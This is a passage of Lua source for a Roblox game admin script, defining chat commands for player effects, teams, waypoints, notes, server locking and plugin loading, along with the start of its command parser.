  6516. [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
  6517. local Color = "Blue"
  6518. local String = Arguments[2]
  6519. local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
  6520. if #ChatSplit >= 2 then
  6521. if string.lower(ChatSplit[1]) == "green" then
  6522. Color = "Green"
  6523. String = ChatSplit[2]
  6524. elseif string.lower(ChatSplit[1]) == "red" then
  6525. Color = "Red"
  6526. String = ChatSplit[2]
  6527. end
  6528. end
  6529. local Players = STRING:Scan(Arguments[1], Speaker)
  6530. for _,Player in pairs(Players) do
  6531. if Player.Character and Player.Character:FindFirstChild("Head") then
  6532. game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
  6533. end
  6534. end
  6535. end};
  6536.  
  6537. [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
  6538. local Players = STRING:Scan(Arguments[1], Speaker)
  6539. for _,Player in pairs(Players) do
  6540. if Player.Character then
  6541. CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
  6542. end
  6543. end
  6544. end};
  6545.  
  6546. [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6547. local Players = STRING:Scan(Arguments[1], Speaker)
  6548. local ID = nil
  6549. if tonumber(Arguments[2]) ~= nil then
  6550. ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  6551. else
  6552. for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  6553. for _,Face in pairs(FaceTable) do
  6554. if string.lower(Arguments[2]) == string.lower(Face) then
  6555. ID = FaceID
  6556. break
  6557. end
  6558. end
  6559. end
  6560. end
  6561. if ID then
  6562. for _,Player in pairs(Players) do
  6563. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  6564. Player.Character.Head.face.Texture = "rbxassetid://"..ID
  6565. pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
  6566. end
  6567. end
  6568. end
  6569. end};
  6570.  
  6571. [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6572. local Players = STRING:Scan(Arguments[1], Speaker)
  6573. local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  6574. for _,Player in pairs(Players) do
  6575. if Player.Character and Player.Character:FindFirstChild("Head") then
  6576. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  6577. BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  6578. local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "http://www.roblox.com/asset/?id="..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  6579. end
  6580. end
  6581. end};
  6582.  
  6583. [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
  6584. local Players = STRING:Scan(Arguments[1], Speaker)
  6585. for _,Player in pairs(Players) do
  6586. if Player.Character and Player.Character:FindFirstChild("Head") then
  6587. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  6588. end
  6589. end
  6590. end};
  6591.  
  6592. [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6593. REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
  6594. end};
  6595.  
  6596. [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6597. GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
  6598. end};
  6599.  
  6600. [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
  6601. local Players = STRING:Scan(Arguments[1], Speaker)
  6602. for _,Player in pairs(Players) do
  6603. local ExistingData = Player:LoadInstance("Data")
  6604. if ExistingData == nil then
  6605. ExistingData = Instance.new("Configuration")
  6606. end
  6607. ExistingData.Name = "Player Data"
  6608. local Key = Instance.new("Configuration", ExistingData)
  6609. Key.Name = Arguments[2]
  6610. Player:SaveInstance("Data", ExistingData)
  6611. end
  6612. end};
  6613.  
  6614. [{"removenote"}] = {"player string", "Removes any note starting with string", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6615. local Players = STRING:Scan(Arguments[1], Speaker)
  6616. local Data = Arguments[2]
  6617. for _,Player in pairs(Players) do
  6618. local ExistingData = Player:LoadInstance("Data")
  6619. if ExistingData ~= nil then
  6620. if Data == "all" then
  6621. ExistingData:ClearAllChildren()
  6622. else
  6623. for _,DataObj in pairs(ExistingData:GetChildren()) do
  6624. if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  6625. DataObj:Destroy()
  6626. end
  6627. end
  6628. end
  6629. end
  6630. Player:SaveInstance("Data", ExistingData)
  6631. end
  6632. end};
  6633.  
  6634. [{"shownotes", "shownote", "loadnotes", "loadnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6635. local Players = STRING:Scan(Arguments[1], Speaker)
  6636. local DataSet = {}
  6637. for _,Player in pairs(Players) do
  6638. local ExistingData = Player:LoadInstance("Data")
  6639. if ExistingData ~= nil then
  6640. if #ExistingData:GetChildren() ~= 0 then
  6641. for _,Data in pairs(ExistingData:GetChildren()) do
  6642. table.insert(DataSet, Player.Name..": "..Data.Name)
  6643. end
  6644. else
  6645. table.insert(DataSet, "Data does not exist for "..Player.Name)
  6646. end
  6647. else
  6648. table.insert(DataSet, "Data does not exist for "..Player.Name)
  6649. end
  6650. end
  6651. GUI:ListGui(Speaker, "Notes", DataSet)
  6652. end};
  6653.  
  6654. [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
  6655. local Players = STRING:Scan(Arguments[1], Speaker)
  6656. for _,Player in pairs(Players) do
  6657. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6658. Player.Character.Humanoid.WalkSpeed = 16
  6659. end
  6660. end
  6661. end};
  6662.  
  6663. [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
  6664. local Players = STRING:Scan(Arguments[1], Speaker)
  6665. for _,Player in pairs(Players) do
  6666. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6667. Player.Character.Humanoid.WalkSpeed = -16
  6668. end
  6669. end
  6670. end};
  6671.  
  6672. [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
  6673. local TeamColor = BrickColor.random()
  6674. local TeamName = Arguments[1]
  6675. local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
  6676. if #TeamNameSplit >= 2 then
  6677. local Color = TeamNameSplit[1]
  6678. local NewTeamName = TeamNameSplit[2]
  6679. if Color == "Medium stone grey" then
  6680. TeamColor = BrickColor.new(Color)
  6681. TeamName = NewTeamName
  6682. elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
  6683. TeamColor = BrickColor.new(Color)
  6684. TeamName = NewTeamName
  6685. elseif Colors[string.upper(Color)] then
  6686. TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
  6687. TeamName = NewTeamName
  6688. end
  6689. end
  6690.  
  6691. local NewTeam = Instance.new("Team", Server.Teams)
  6692. NewTeam.TeamColor = TeamColor
  6693. NewTeam.Name = TeamName
  6694. end};
  6695.  
  6696. [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
  6697. local Players = STRING:Scan(Arguments[1], Speaker)
  6698. for _,Player in pairs(Players) do
  6699. Player.Neutral = true
  6700. end
  6701. end};
  6702.  
  6703. [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
  6704. local Players = STRING:Scan(Arguments[1], Speaker)
  6705. if string.lower(Arguments[2]) == "none" then
  6706. for _,Player in pairs(Players) do
  6707. Player.Neutral = true
  6708. end
  6709. else
  6710. for _,Obj in pairs(Server.Teams:GetChildren()) do
  6711. if Obj:IsA("Team") then
  6712. if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  6713. for _,Player in pairs(Players) do
  6714. Player.Neutral = false
  6715. Player.TeamColor = Obj.TeamColor
  6716. end
  6717. end
  6718. end
  6719. end
  6720. end
  6721. end};
  6722.  
  6723. [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
  6724. for _,Obj in pairs(Server.Teams:GetChildren()) do
  6725. if Obj:IsA("Team") then
  6726. if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
  6727. for _,Player in pairs(Server.Players:GetPlayers()) do
  6728. if Player.TeamColor == Obj.TeamColor then
  6729. Player.Neutral = true
  6730. end
  6731. end
  6732. Obj:Destroy()
  6733. end
  6734. end
  6735. end
  6736. end};
  6737.  
  6738. [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
  6739. for _,Player in pairs(Server.Players:GetPlayers()) do
  6740. Player.Neutral = true
  6741. end
  6742. for _,Obj in pairs(Server.Teams:GetChildren()) do
  6743. if Obj:IsA("Team") then
  6744. Obj:Destroy()
  6745. end
  6746. end
  6747. end};
  6748.  
  6749. [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
  6750. for _,Player in pairs(Server.Players:GetPlayers()) do
  6751. GUI:Countdown(Player, Arguments[1])
  6752. end
  6753. end};
  6754.  
  6755. [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6756. local Players = STRING:Scan(Arguments[1], Speaker)
  6757. for _,Player in pairs(Players) do
  6758. if Player:FindFirstChild("Backpack") then
  6759. CORE:ExecuteResource("ShowAd", Player.Backpack)
  6760. end
  6761. end
  6762. end};
  6763.  
  6764. [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  6765. local Players = STRING:Scan(Arguments[1], Speaker)
  6766. for _,Player in pairs(Players) do
  6767. if Player.Character then
  6768. for PosName,WP in pairs(Waypoints) do
  6769. if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
  6770. Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  6771. break
  6772. end
  6773. end
  6774. end
  6775. end
  6776. end};
  6777.  
  6778. [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Member", false, function(Speaker, Rank, Arguments)
  6779. CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
  6780. end};
  6781.  
  6782. [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  6783. local Num = 0
  6784. for PosName,WP in pairs(Waypoints) do
  6785. Num = Num + 1
  6786. if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
  6787. Waypoints[PosName] = nil
  6788. end
  6789. end
  6790. end};
  6791.  
  6792. [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
  6793. local WaypointHolder,WaypointRaw = {},{}
  6794. for Name, WP in pairs(Waypoints) do
  6795. local View = Name..": "..tostring(WP)
  6796. table.insert(WaypointHolder, View)
  6797. WaypointRaw[View] = WP
  6798. end
  6799. local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
  6800. Clicked.Event:connect(function(Text)
  6801. local Waypoint = WaypointRaw[Text]
  6802. if Waypoint then
  6803. if Speaker.Character then
  6804. Speaker.Character:MoveTo(Waypoint)
  6805. end
  6806. end
  6807. end)
  6808. end};
  6809.  
  6810. [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
  6811. local Players = STRING:Scan(Arguments[1], Speaker)
  6812. local List = {}
  6813. for _,Player in pairs(Players) do
  6814. table.insert(List, Player.Name.." (ID: "..Player.userId..")")
  6815. end
  6816. GUI:ListGui(Speaker, "Listed Players", List)
  6817. end};
  6818.  
  6819. [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
  6820. if tonumber(Arguments[1]) then
  6821. ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
  6822. else
  6823. local Players = STRING:Scan(Arguments[1], Speaker)
  6824. for _,Player in pairs(Players) do
  6825. ypcall(function() Server.PS:AwardPoints(Player.userId, tonumber(Arguments[2])) end)
  6826. end
  6827. end
  6828. end};
  6829.  
  6830. [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
  6831. local Players = STRING:Scan(Arguments[1], Speaker)
  6832. local Friends,OneFriend = {}, false
  6833. for _,Player in pairs(Players) do
  6834. for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
  6835. --[[if Player:IsBestFriendsWith(User.userId) then
  6836. table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  6837. OneFriend = true
  6838. ]]
  6839. if Player:IsFriendsWith(User.userId) then
  6840. table.insert(Friends, Player.Name.." is friends with "..User.Name)
  6841. OneFriend = true
  6842. end
  6843. if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
  6844. table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  6845. end
  6846. end end
  6847. end
  6848. GUI:ListGui(Speaker, "Friend List", Friends)
  6849. end};
  6850.  
  6851. [{"change"}] = {"player string value", "Changes the leaderstat value of string for player", 3, "Member", false, function(Speaker, Rank, Arguments)
  6852. local Players = STRING:Scan(Arguments[1], Speaker)
  6853. for _,Player in pairs(Players) do
  6854. local Stats = Player:FindFirstChild("leaderstats")
  6855. if Stats ~= nil then
  6856. for _,Stat in pairs(Stats:GetChildren()) do
  6857. if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  6858. pcall(function() Stat.Value = Arguments[3] end)
  6859. end
  6860. end
  6861. end
  6862. end
  6863. end};
  6864.  
  6865. [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6866. Settings.ServerLocked = true
  6867. GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
  6868. end};
  6869.  
  6870. [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6871. Settings.ServerLocked = false
  6872. GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
  6873. end};
  6874.  
  6875. [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6876. local OldAge = Settings.MinimumAge
  6877. local Age = tostring(Arguments[1])
  6878. if Age then
  6879. Settings.MinimumAge = Age
  6880. GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
  6881. end
  6882. end};
  6883.  
  6884. [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6885. if Settings.VIPAdminID <= 1 then
  6886. MARKET:PromptPurchase(Speaker, VIPAdminID)
  6887. else
  6888. SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
  6889. end
  6890. end};
  6891.  
  6892. [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6893. if Settings.VIPMemberID <= 1 then
  6894. MARKET:PromptPurchase(Speaker, VIPMemberID)
  6895. else
  6896. SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
  6897. end
  6898. end};
  6899.  
  6900. [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
  6901. if tonumber(Arguments[2]) then
  6902. local Players = STRING:Scan(Arguments[1], Speaker)
  6903. local Size = tonumber(Arguments[2])+25
  6904. for _,Player in pairs(Players) do
  6905. if Player.Character then
  6906. if Player.Character:FindFirstChild("Head") then
  6907. if Player.Character.Head:FindFirstChild("Mesh") then
  6908. Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  6909. end
  6910. end
  6911. end
  6912. end
  6913. end
  6914. end};
  6915.  
  6916. [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6917. local Players = STRING:Scan(Arguments[1], Speaker)
  6918. for _,Player in pairs(Players) do
  6919. if Player.Character and Player.Character:FindFirstChild("Torso") then
  6920. CORE:ChangeCharacter(Speaker, Player.userId, false, Speaker, true, Player.Character.Torso.Position)
  6921. Player.Character.Parent = nil
  6922. CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  6923. end
  6924. end
  6925. end};
  6926.  
  6927. [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6928. GUI:SettingsGui(Speaker)
  6929. end};
  6930.  
  6931. [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6932. if tonumber(Arguments[2]) then
  6933. local Players = STRING:Scan(Arguments[1], Speaker)
  6934. local List = {}
  6935. for _,Player in pairs(Players) do
  6936. if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
  6937. table.insert(List, Player.Name)
  6938. end
  6939. end
  6940. GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
  6941. end
  6942. end};
  6943.  
  6944. [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
  6945. local Players = STRING:Scan(Arguments[1], Speaker)
  6946. for _,Player in pairs(Players) do
  6947. if Player.Character and Player.Character:FindFirstChild("Head") then
  6948. local Char = Player.Character
  6949. Char:BreakJoints()
  6950. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  6951. Obj.Anchored = true
  6952. for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
  6953. local Decal = Instance.new("Decal", Obj)
  6954. Decal.Texture = "rbxassetid://178913323"
  6955. Decal.Face = Face
  6956. end
  6957. end)
  6958. local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
  6959. local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
  6960. Sound1:Play() Sound2:Play()
  6961. coroutine.wrap(function()
  6962. coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
  6963. repeat wait()
  6964. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  6965. SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
  6966. Obj.Transparency = math.random(0,30)/100
  6967. Obj.Reflectance = math.random(0,50)/100
  6968. Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
  6969. end)
  6970. until Char ~= Player.Character or Char.Parent == nil
  6971. end)()
  6972. end
  6973. end
  6974. end, Hidden = true};
  6975.  
  6976. [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6977. GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
  6978. end};
  6979.  
  6980. [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
  6981. local Players = STRING:Scan(Arguments[1], Speaker)
  6982. for _,Player in pairs(Players) do
  6983. if Player.Character then
  6984. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6985. Obj.Material = "Neon"
  6986. end)
  6987. end
  6988. end
  6989. end};
  6990.  
  6991. [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6992. local Players = STRING:Scan(Arguments[1], Speaker)
  6993. for _,Player in pairs(Players) do
  6994. if Player.Character then
  6995. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6996. Obj.Material = "Plastic"
  6997. end)
  6998. end
  6999. end
  7000. end};
  7001.  
  7002. [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
  7003. local Players = STRING:Scan(Arguments[1], Speaker)
  7004. for _,Player in pairs(Players) do
  7005. if Player.Character then
  7006. CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
  7007. Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
  7008. end)
  7009. end
  7010. end
  7011. end, Hidden = true};
  7012.  
  7013. [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7014. local Players = STRING:Scan(Arguments[1], Speaker)
  7015. for _,Player in pairs(Players) do
  7016. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7017. local Pos = Player.Character.Torso.Position
  7018. Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
  7019. local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
  7020. if Answer == "Ok" then
  7021. CORE:AddWaypoint(Player.Name, Pos, Speaker)
  7022. end
  7023. end
  7024. end
  7025. end};
  7026.  
  7027. [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
  7028. local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
  7029. local PlayersTo = STRING:Scan(Arguments[2], Speaker)
  7030. if PlayersFrom and PlayersTo then
  7031. for _,PlayerFrom in pairs(PlayersFrom) do
  7032. for _,PlayerTo in pairs(PlayersTo) do
  7033. if PlayerFrom.Character and PlayerTo.Character then
  7034. if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  7035. local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
  7036. wait(5)
  7037. Laser:Destroy()
  7038. end)() end
  7039. end
  7040. end
  7041. end
  7042. end
  7043. end};
  7044.  
  7045. [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7046. local Players = STRING:Scan(Arguments[1], Speaker)
  7047. for _,Player in pairs(Players) do
  7048. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7049. Player.Character.Humanoid:Destroy()
  7050. end
  7051. end
  7052. end};
  7053.  
  7054. [{"plugins", "getplugins", "pluginlist"}] = {"", "Gets player's position and prompts to add it to waypoints", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7055. if Plugins then
  7056. local List = {}
  7057. for _,Module in pairs(Plugins:GetChildren()) do
  7058. if Module:IsA("ModuleScript") then
  7059. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  7060. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  7061. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  7062. table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
  7063. end
  7064. end
  7065. GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
  7066. else
  7067. GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
  7068. end
  7069. end};
  7070. --
  7071. }
  7072.  
  7073. if Plugins then
  7074. local PluginNum = 0
  7075. for _,Module in pairs(Plugins:GetChildren()) do
  7076. if Module:IsA("ModuleScript") then
  7077. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  7078. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  7079. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  7080. if Enabled.Value == true then
  7081. PluginNum = PluginNum + 1
  7082. local PluginExe = require(Module)
  7083. for Var,Val in pairs(getfenv()) do
  7084. getfenv(PluginExe)[Var] = Val
  7085. end
  7086. getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  7087. getfenv(PluginExe).script = Module
  7088. getfenv(PluginExe).Script = Module
  7089. getfenv(PluginExe).Version = Version
  7090. local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  7091. if not Suc then
  7092. Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
  7093. else
  7094. Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  7095. end
  7096. end
  7097. end
  7098. end
  7099. end
  7100.  
  7101. function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
  7102. if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
  7103. GUI:SettingsGui(Speaker)
  7104. return nil
  7105. end
  7106. if NoPrefixNeeded == nil then NoPrefixNeeded = false end
  7107. local Prefix = Settings.Prefix
  7108. if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
  7109. if RawMainMessage == "" or RawMainMessage == Prefix then return end
  7110. if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
  7111. if Speaker == nil then
  7112. if FakeRank then
  7113. if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
  7114. FakeRank = "Owner"
  7115. end
  7116. else
  7117. FakeRank = "Owner"
  7118. end
  7119. FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
  7120. if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
  7121. Speaker = {
  7122. Name = FakePlayerName or "[ Server ]";
  7123. Character = nil;
  7124. userId = 1;
  7125. PlayerGui = nil;
  7126. Rank = FakeRank or "Owner";
  7127. MakeSupremeOwner = MakeSupremeOwner;
  7128. }
  7129. end
  7130. local Rank = RANK:GetRank(Speaker)
  7131. local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  7132.  
  7133. if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
  7134. local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
  7135.  
  7136. for _,Message in pairs(Messages) do
  7137. for Cmds,Data in pairs(Commands) do -- check all commands
  7138. local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
  7139.  
  7140. if not MessageSplit then break end
  7141.  
  7142. local CommandSaid = false
  7143. for _,Command in pairs(Cmds) do
  7144. if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
  7145. CommandSaid = true
  7146. break
  7147. end
